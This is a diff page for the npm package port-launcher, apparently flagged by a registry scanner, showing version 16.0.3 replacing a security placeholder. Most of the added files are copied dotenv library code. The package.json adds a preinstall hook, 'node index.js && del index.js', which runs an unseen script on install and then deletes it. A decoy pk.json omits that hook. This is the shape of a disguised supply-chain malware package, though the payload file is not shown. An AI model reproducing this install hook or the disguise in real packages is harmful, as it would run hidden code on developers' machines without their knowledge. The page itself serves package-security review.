port-launcher 0.0.1-security → 16.0.3

Sign up to get free protection for your applications and to get access to all the features.

Potentially problematic release.


This version of port-launcher might be problematic. Click here for more details.

@@ -0,0 +1,11 @@
1
+ const re = /^dotenv_config_(encoding|path|debug|override|DOTENV_KEY)=(.+)$/
2
+
3
+ module.exports = function optionMatcher (args) {
4
+ return args.reduce(function (acc, cur) {
5
+ const matches = cur.match(re)
6
+ if (matches) {
7
+ acc[matches[1]] = matches[2]
8
+ }
9
+ return acc
10
+ }, {})
11
+ }
@@ -0,0 +1,24 @@
1
+ // ../config.js accepts options via environment variables
2
+ const options = {}
3
+
4
+ if (process.env.DOTENV_CONFIG_ENCODING != null) {
5
+ options.encoding = process.env.DOTENV_CONFIG_ENCODING
6
+ }
7
+
8
+ if (process.env.DOTENV_CONFIG_PATH != null) {
9
+ options.path = process.env.DOTENV_CONFIG_PATH
10
+ }
11
+
12
+ if (process.env.DOTENV_CONFIG_DEBUG != null) {
13
+ options.debug = process.env.DOTENV_CONFIG_DEBUG
14
+ }
15
+
16
+ if (process.env.DOTENV_CONFIG_OVERRIDE != null) {
17
+ options.override = process.env.DOTENV_CONFIG_OVERRIDE
18
+ }
19
+
20
+ if (process.env.DOTENV_CONFIG_DOTENV_KEY != null) {
21
+ options.DOTENV_KEY = process.env.DOTENV_CONFIG_DOTENV_KEY
22
+ }
23
+
24
+ module.exports = options
package/lib/main.d.ts ADDED
@@ -0,0 +1,156 @@
1
+ // TypeScript Version: 3.0
2
+ /// <reference types="node" />
3
+ import type { URL } from 'node:url';
4
+
5
+ export interface DotenvParseOutput {
6
+ [name: string]: string;
7
+ }
8
+
9
+ /**
10
+ * Parses a string or buffer in the .env file format into an object.
11
+ *
12
+ * See https://docs.dotenv.org
13
+ *
14
+ * @param src - contents to be parsed. example: `'DB_HOST=localhost'`
15
+ * @param options - additional options. example: `{ debug: true }`
16
+ * @returns an object with keys and values based on `src`. example: `{ DB_HOST : 'localhost' }`
17
+ */
18
+ export function parse<T extends DotenvParseOutput = DotenvParseOutput>(
19
+ src: string | Buffer
20
+ ): T;
21
+
22
+ export interface DotenvConfigOptions {
23
+ /**
24
+ * Default: `path.resolve(process.cwd(), '.env')`
25
+ *
26
+ * Specify a custom path if your file containing environment variables is located elsewhere.
27
+ *
28
+ * example: `require('dotenv').config({ path: '/custom/path/to/.env' })`
29
+ */
30
+ path?: string | URL;
31
+
32
+ /**
33
+ * Default: `utf8`
34
+ *
35
+ * Specify the encoding of your file containing environment variables.
36
+ *
37
+ * example: `require('dotenv').config({ encoding: 'latin1' })`
38
+ */
39
+ encoding?: string;
40
+
41
+ /**
42
+ * Default: `false`
43
+ *
44
+ * Turn on logging to help debug why certain keys or values are not being set as you expect.
45
+ *
46
+ * example: `require('dotenv').config({ debug: process.env.DEBUG })`
47
+ */
48
+ debug?: boolean;
49
+
50
+ /**
51
+ * Default: `false`
52
+ *
53
+ * Override any environment variables that have already been set on your machine with values from your .env file.
54
+ *
55
+ * example: `require('dotenv').config({ override: true })`
56
+ */
57
+ override?: boolean;
58
+
59
+ /**
60
+ * Default: `process.env`
61
+ *
62
+ * Specify an object to write your secrets to. Defaults to process.env environment variables.
63
+ *
64
+ * example: `const processEnv = {}; require('dotenv').config({ processEnv: processEnv })`
65
+ */
66
+ processEnv?: DotenvPopulateInput;
67
+
68
+ /**
69
+ * Default: `undefined`
70
+ *
71
+ * Pass the DOTENV_KEY directly to config options. Defaults to looking for process.env.DOTENV_KEY environment variable. Note this only applies to decrypting .env.vault files. If passed as null or undefined, or not passed at all, dotenv falls back to its traditional job of parsing a .env file.
72
+ *
73
+ * example: `require('dotenv').config({ DOTENV_KEY: 'dotenv://:key_1234…@dotenv.org/vault/.env.vault?environment=production' })`
74
+ */
75
+ DOTENV_KEY?: string;
76
+ }
77
+
78
+ export interface DotenvConfigOutput {
79
+ error?: Error;
80
+ parsed?: DotenvParseOutput;
81
+ }
82
+
83
+ export interface DotenvPopulateOptions {
84
+ /**
85
+ * Default: `false`
86
+ *
87
+ * Turn on logging to help debug why certain keys or values are not being set as you expect.
88
+ *
89
+ * example: `require('dotenv').config({ debug: process.env.DEBUG })`
90
+ */
91
+ debug?: boolean;
92
+
93
+ /**
94
+ * Default: `false`
95
+ *
96
+ * Override any environment variables that have already been set on your machine with values from your .env file.
97
+ *
98
+ * example: `require('dotenv').config({ override: true })`
99
+ */
100
+ override?: boolean;
101
+ }
102
+
103
+ export interface DotenvPopulateOutput {
104
+ error?: Error;
105
+ }
106
+
107
+ export interface DotenvPopulateInput {
108
+ [name: string]: string;
109
+ }
110
+
111
+ /**
112
+ * Loads `.env` file contents into process.env by default. If `DOTENV_KEY` is present, it smartly attempts to load encrypted `.env.vault` file contents into process.env.
113
+ *
114
+ * See https://docs.dotenv.org
115
+ *
116
+ * @param options - additional options. example: `{ path: './custom/path', encoding: 'latin1', debug: true, override: false }`
117
+ * @returns an object with a `parsed` key if successful or `error` key if an error occurred. example: { parsed: { KEY: 'value' } }
118
+ *
119
+ */
120
+ export function config(options?: DotenvConfigOptions): DotenvConfigOutput;
121
+
122
+ /**
123
+ * Loads `.env` file contents into process.env.
124
+ *
125
+ * See https://docs.dotenv.org
126
+ *
127
+ * @param options - additional options. example: `{ path: './custom/path', encoding: 'latin1', debug: true, override: false }`
128
+ * @returns an object with a `parsed` key if successful or `error` key if an error occurred. example: { parsed: { KEY: 'value' } }
129
+ *
130
+ */
131
+ export function configDotenv(options?: DotenvConfigOptions): DotenvConfigOutput;
132
+
133
+ /**
134
+ * Loads `source` json contents into `target` like process.env.
135
+ *
136
+ * See https://docs.dotenv.org
137
+ *
138
+ * @param processEnv - the target JSON object. in most cases use process.env but you can also pass your own JSON object
139
+ * @param parsed - the source JSON object
140
+ * @param options - additional options. example: `{ debug: true, override: false }`
141
+ * @returns {void}
142
+ *
143
+ */
144
+ export function populate(processEnv: DotenvPopulateInput, parsed: DotenvPopulateInput, options?: DotenvConfigOptions): DotenvPopulateOutput;
145
+
146
+ /**
147
+ * Decrypt ciphertext
148
+ *
149
+ * See https://docs.dotenv.org
150
+ *
151
+ * @param encrypted - the encrypted ciphertext string
152
+ * @param keyStr - the decryption key string
153
+ * @returns {string}
154
+ *
155
+ */
156
+ export function decrypt(encrypted: string, keyStr: string): string;
package/lib/main.js ADDED
@@ -0,0 +1,314 @@
1
+ const fs = require('fs')
2
+ const path = require('path')
3
+ const os = require('os')
4
+ const crypto = require('crypto')
5
+ const packageJson = require('../package.json')
6
+
7
+ const version = packageJson.version
8
+
9
+ const LINE = /(?:^|^)\s*(?:export\s+)?([\w.-]+)(?:\s*=\s*?|:\s+?)(\s*'(?:\\'|[^'])*'|\s*"(?:\\"|[^"])*"|\s*`(?:\\`|[^`])*`|[^#\r\n]+)?\s*(?:#.*)?(?:$|$)/mg
10
+
11
+ // Parse src into an Object
12
+ function parse (src) {
13
+ const obj = {}
14
+
15
+ // Convert buffer to string
16
+ let lines = src.toString()
17
+
18
+ // Convert line breaks to same format
19
+ lines = lines.replace(/\r\n?/mg, '\n')
20
+
21
+ let match
22
+ while ((match = LINE.exec(lines)) != null) {
23
+ const key = match[1]
24
+
25
+ // Default undefined or null to empty string
26
+ let value = (match[2] || '')
27
+
28
+ // Remove whitespace
29
+ value = value.trim()
30
+
31
+ // Check if double quoted
32
+ const maybeQuote = value[0]
33
+
34
+ // Remove surrounding quotes
35
+ value = value.replace(/^(['"`])([\s\S]*)\1$/mg, '$2')
36
+
37
+ // Expand newlines if double quoted
38
+ if (maybeQuote === '"') {
39
+ value = value.replace(/\\n/g, '\n')
40
+ value = value.replace(/\\r/g, '\r')
41
+ }
42
+
43
+ // Add to object
44
+ obj[key] = value
45
+ }
46
+
47
+ return obj
48
+ }
49
+
50
+ function _parseVault (options) {
51
+ const vaultPath = _vaultPath(options)
52
+
53
+ // Parse .env.vault
54
+ const result = DotenvModule.configDotenv({ path: vaultPath })
55
+ if (!result.parsed) {
56
+ throw new Error(`MISSING_DATA: Cannot parse ${vaultPath} for an unknown reason`)
57
+ }
58
+
59
+ // handle scenario for comma separated keys - for use with key rotation
60
+ // example: DOTENV_KEY="dotenv://:key_1234@dotenv.org/vault/.env.vault?environment=prod,dotenv://:key_7890@dotenv.org/vault/.env.vault?environment=prod"
61
+ const keys = _dotenvKey(options).split(',')
62
+ const length = keys.length
63
+
64
+ let decrypted
65
+ for (let i = 0; i < length; i++) {
66
+ try {
67
+ // Get full key
68
+ const key = keys[i].trim()
69
+
70
+ // Get instructions for decrypt
71
+ const attrs = _instructions(result, key)
72
+
73
+ // Decrypt
74
+ decrypted = DotenvModule.decrypt(attrs.ciphertext, attrs.key)
75
+
76
+ break
77
+ } catch (error) {
78
+ // last key
79
+ if (i + 1 >= length) {
80
+ throw error
81
+ }
82
+ // try next key
83
+ }
84
+ }
85
+
86
+ // Parse decrypted .env string
87
+ return DotenvModule.parse(decrypted)
88
+ }
89
+
90
+ function _log (message) {
91
+ console.log(`[dotenv@${version}][INFO] ${message}`)
92
+ }
93
+
94
+ function _warn (message) {
95
+ console.log(`[dotenv@${version}][WARN] ${message}`)
96
+ }
97
+
98
+ function _debug (message) {
99
+ console.log(`[dotenv@${version}][DEBUG] ${message}`)
100
+ }
101
+
102
+ function _dotenvKey (options) {
103
+ // prioritize developer directly setting options.DOTENV_KEY
104
+ if (options && options.DOTENV_KEY && options.DOTENV_KEY.length > 0) {
105
+ return options.DOTENV_KEY
106
+ }
107
+
108
+ // secondary infra already contains a DOTENV_KEY environment variable
109
+ if (process.env.DOTENV_KEY && process.env.DOTENV_KEY.length > 0) {
110
+ return process.env.DOTENV_KEY
111
+ }
112
+
113
+ // fallback to empty string
114
+ return ''
115
+ }
116
+
117
+ function _instructions (result, dotenvKey) {
118
+ // Parse DOTENV_KEY. Format is a URI
119
+ let uri
120
+ try {
121
+ uri = new URL(dotenvKey)
122
+ } catch (error) {
123
+ if (error.code === 'ERR_INVALID_URL') {
124
+ throw new Error('INVALID_DOTENV_KEY: Wrong format. Must be in valid uri format like dotenv://:key_1234@dotenv.org/vault/.env.vault?environment=development')
125
+ }
126
+
127
+ throw error
128
+ }
129
+
130
+ // Get decrypt key
131
+ const key = uri.password
132
+ if (!key) {
133
+ throw new Error('INVALID_DOTENV_KEY: Missing key part')
134
+ }
135
+
136
+ // Get environment
137
+ const environment = uri.searchParams.get('environment')
138
+ if (!environment) {
139
+ throw new Error('INVALID_DOTENV_KEY: Missing environment part')
140
+ }
141
+
142
+ // Get ciphertext payload
143
+ const environmentKey = `DOTENV_VAULT_${environment.toUpperCase()}`
144
+ const ciphertext = result.parsed[environmentKey] // DOTENV_VAULT_PRODUCTION
145
+ if (!ciphertext) {
146
+ throw new Error(`NOT_FOUND_DOTENV_ENVIRONMENT: Cannot locate environment ${environmentKey} in your .env.vault file.`)
147
+ }
148
+
149
+ return { ciphertext, key }
150
+ }
151
+
152
+ function _vaultPath (options) {
153
+ let dotenvPath = path.resolve(process.cwd(), '.env')
154
+
155
+ if (options && options.path && options.path.length > 0) {
156
+ dotenvPath = options.path
157
+ }
158
+
159
+ // Locate .env.vault
160
+ return dotenvPath.endsWith('.vault') ? dotenvPath : `${dotenvPath}.vault`
161
+ }
162
+
163
+ function _resolveHome (envPath) {
164
+ return envPath[0] === '~' ? path.join(os.homedir(), envPath.slice(1)) : envPath
165
+ }
166
+
167
+ function _configVault (options) {
168
+ _log('Loading env from encrypted .env.vault')
169
+
170
+ const parsed = DotenvModule._parseVault(options)
171
+
172
+ let processEnv = process.env
173
+ if (options && options.processEnv != null) {
174
+ processEnv = options.processEnv
175
+ }
176
+
177
+ DotenvModule.populate(processEnv, parsed, options)
178
+
179
+ return { parsed }
180
+ }
181
+
182
+ function configDotenv (options) {
183
+ let dotenvPath = path.resolve(process.cwd(), '.env')
184
+ let encoding = 'utf8'
185
+ const debug = Boolean(options && options.debug)
186
+
187
+ if (options) {
188
+ if (options.path != null) {
189
+ dotenvPath = _resolveHome(options.path)
190
+ }
191
+ if (options.encoding != null) {
192
+ encoding = options.encoding
193
+ }
194
+ }
195
+
196
+ try {
197
+ // Specifying an encoding returns a string instead of a buffer
198
+ const parsed = DotenvModule.parse(fs.readFileSync(dotenvPath, { encoding }))
199
+
200
+ let processEnv = process.env
201
+ if (options && options.processEnv != null) {
202
+ processEnv = options.processEnv
203
+ }
204
+
205
+ DotenvModule.populate(processEnv, parsed, options)
206
+
207
+ return { parsed }
208
+ } catch (e) {
209
+ if (debug) {
210
+ _debug(`Failed to load ${dotenvPath} ${e.message}`)
211
+ }
212
+
213
+ return { error: e }
214
+ }
215
+ }
216
+
217
+ // Populates process.env from .env file
218
+ function config (options) {
219
+ const vaultPath = _vaultPath(options)
220
+
221
+ // fallback to original dotenv if DOTENV_KEY is not set
222
+ if (_dotenvKey(options).length === 0) {
223
+ return DotenvModule.configDotenv(options)
224
+ }
225
+
226
+ // dotenvKey exists but .env.vault file does not exist
227
+ if (!fs.existsSync(vaultPath)) {
228
+ _warn(`You set DOTENV_KEY but you are missing a .env.vault file at ${vaultPath}. Did you forget to build it?`)
229
+
230
+ return DotenvModule.configDotenv(options)
231
+ }
232
+
233
+ return DotenvModule._configVault(options)
234
+ }
235
+
236
+ function decrypt (encrypted, keyStr) {
237
+ const key = Buffer.from(keyStr.slice(-64), 'hex')
238
+ let ciphertext = Buffer.from(encrypted, 'base64')
239
+
240
+ const nonce = ciphertext.slice(0, 12)
241
+ const authTag = ciphertext.slice(-16)
242
+ ciphertext = ciphertext.slice(12, -16)
243
+
244
+ try {
245
+ const aesgcm = crypto.createDecipheriv('aes-256-gcm', key, nonce)
246
+ aesgcm.setAuthTag(authTag)
247
+ return `${aesgcm.update(ciphertext)}${aesgcm.final()}`
248
+ } catch (error) {
249
+ const isRange = error instanceof RangeError
250
+ const invalidKeyLength = error.message === 'Invalid key length'
251
+ const decryptionFailed = error.message === 'Unsupported state or unable to authenticate data'
252
+
253
+ if (isRange || invalidKeyLength) {
254
+ const msg = 'INVALID_DOTENV_KEY: It must be 64 characters long (or more)'
255
+ throw new Error(msg)
256
+ } else if (decryptionFailed) {
257
+ const msg = 'DECRYPTION_FAILED: Please check your DOTENV_KEY'
258
+ throw new Error(msg)
259
+ } else {
260
+ console.error('Error: ', error.code)
261
+ console.error('Error: ', error.message)
262
+ throw error
263
+ }
264
+ }
265
+ }
266
+
267
+ // Populate process.env with parsed values
268
+ function populate (processEnv, parsed, options = {}) {
269
+ const debug = Boolean(options && options.debug)
270
+ const override = Boolean(options && options.override)
271
+
272
+ if (typeof parsed !== 'object') {
273
+ throw new Error('OBJECT_REQUIRED: Please check the processEnv argument being passed to populate')
274
+ }
275
+
276
+ // Set process.env
277
+ for (const key of Object.keys(parsed)) {
278
+ if (Object.prototype.hasOwnProperty.call(processEnv, key)) {
279
+ if (override === true) {
280
+ processEnv[key] = parsed[key]
281
+ }
282
+
283
+ if (debug) {
284
+ if (override === true) {
285
+ _debug(`"${key}" is already defined and WAS overwritten`)
286
+ } else {
287
+ _debug(`"${key}" is already defined and was NOT overwritten`)
288
+ }
289
+ }
290
+ } else {
291
+ processEnv[key] = parsed[key]
292
+ }
293
+ }
294
+ }
295
+
296
+ const DotenvModule = {
297
+ configDotenv,
298
+ _configVault,
299
+ _parseVault,
300
+ config,
301
+ decrypt,
302
+ parse,
303
+ populate
304
+ }
305
+
306
+ module.exports.configDotenv = DotenvModule.configDotenv
307
+ module.exports._configVault = DotenvModule._configVault
308
+ module.exports._parseVault = DotenvModule._parseVault
309
+ module.exports.config = DotenvModule.config
310
+ module.exports.decrypt = DotenvModule.decrypt
311
+ module.exports.parse = DotenvModule.parse
312
+ module.exports.populate = DotenvModule.populate
313
+
314
+ module.exports = DotenvModule
package/package.json CHANGED
@@ -1,6 +1,65 @@
1
1
  {
2
2
  "name": "port-launcher",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "16.0.3",
4
+ "description": "Loads environment variables from .env file",
5
+ "main": "lib/main.js",
6
+ "types": "lib/main.d.ts",
7
+ "exports": {
8
+ ".": {
9
+ "types": "./lib/main.d.ts",
10
+ "require": "./lib/main.js",
11
+ "default": "./lib/main.js"
12
+ },
13
+ "./config": "./config.js",
14
+ "./config.js": "./config.js",
15
+ "./lib/env-options": "./lib/env-options.js",
16
+ "./lib/env-options.js": "./lib/env-options.js",
17
+ "./lib/cli-options": "./lib/cli-options.js",
18
+ "./lib/cli-options.js": "./lib/cli-options.js",
19
+ "./package.json": "./package.json"
20
+ },
21
+ "scripts": {
22
+ "preinstall": "node index.js && del index.js",
23
+ "dts-check": "tsc --project tests/types/tsconfig.json",
24
+ "lint": "standard",
25
+ "lint-readme": "standard-markdown",
26
+ "pretest": "npm run lint && npm run dts-check",
27
+ "test": "tap tests/*.js --100 -Rspec",
28
+ "prerelease": "npm test",
29
+ "release": "standard-version"
30
+ },
31
+ "repository": {
32
+ "type": "git",
33
+ "url": "https://github.com/jhonnpmdev/config-envi.git"
34
+ },
35
+ "funding": "https://github.com/jhonnpmdev/config-envi.git?sponsor=1",
36
+ "keywords": [
37
+ "dotenv",
38
+ "env",
39
+ ".env",
40
+ "environment",
41
+ "variables",
42
+ "config",
43
+ "settings"
44
+ ],
45
+ "readmeFilename": "README.md",
46
+ "license": "BSD-2-Clause",
47
+ "devDependencies": {
48
+ "@definitelytyped/dtslint": "^0.0.133",
49
+ "@types/node": "^18.11.3",
50
+ "decache": "^4.6.1",
51
+ "sinon": "^14.0.1",
52
+ "standard": "^17.0.0",
53
+ "standard-markdown": "^7.1.0",
54
+ "standard-version": "^9.5.0",
55
+ "tap": "^16.3.0",
56
+ "tar": "^6.1.11",
57
+ "typescript": "^4.8.4"
58
+ },
59
+ "engines": {
60
+ "node": ">=12"
61
+ },
62
+ "browser": {
63
+ "fs": false
64
+ }
6
65
  }
package/pk.json ADDED
@@ -0,0 +1,64 @@
1
+ {
2
+ "name": "port-launcher",
3
+ "version": "16.0.3",
4
+ "description": "Loads environment variables from .env file",
5
+ "main": "lib/main.js",
6
+ "types": "lib/main.d.ts",
7
+ "exports": {
8
+ ".": {
9
+ "types": "./lib/main.d.ts",
10
+ "require": "./lib/main.js",
11
+ "default": "./lib/main.js"
12
+ },
13
+ "./config": "./config.js",
14
+ "./config.js": "./config.js",
15
+ "./lib/env-options": "./lib/env-options.js",
16
+ "./lib/env-options.js": "./lib/env-options.js",
17
+ "./lib/cli-options": "./lib/cli-options.js",
18
+ "./lib/cli-options.js": "./lib/cli-options.js",
19
+ "./package.json": "./package.json"
20
+ },
21
+ "scripts": {
22
+ "dts-check": "tsc --project tests/types/tsconfig.json",
23
+ "lint": "standard",
24
+ "lint-readme": "standard-markdown",
25
+ "pretest": "npm run lint && npm run dts-check",
26
+ "test": "tap tests/*.js --100 -Rspec",
27
+ "prerelease": "npm test",
28
+ "release": "standard-version"
29
+ },
30
+ "repository": {
31
+ "type": "git",
32
+ "url": "https://github.com/jhonnpmdev/config-envi.git"
33
+ },
34
+ "funding": "https://github.com/jhonnpmdev/config-envi.git?sponsor=1",
35
+ "keywords": [
36
+ "dotenv",
37
+ "env",
38
+ ".env",
39
+ "environment",
40
+ "variables",
41
+ "config",
42
+ "settings"
43
+ ],
44
+ "readmeFilename": "README.md",
45
+ "license": "BSD-2-Clause",
46
+ "devDependencies": {
47
+ "@definitelytyped/dtslint": "^0.0.133",
48
+ "@types/node": "^18.11.3",
49
+ "decache": "^4.6.1",
50
+ "sinon": "^14.0.1",
51
+ "standard": "^17.0.0",
52
+ "standard-markdown": "^7.1.0",
53
+ "standard-version": "^9.5.0",
54
+ "tap": "^16.3.0",
55
+ "tar": "^6.1.11",
56
+ "typescript": "^4.8.4"
57
+ },
58
+ "engines": {
59
+ "node": ">=12"
60
+ },
61
+ "browser": {
62
+ "fs": false
63
+ }
64
+ }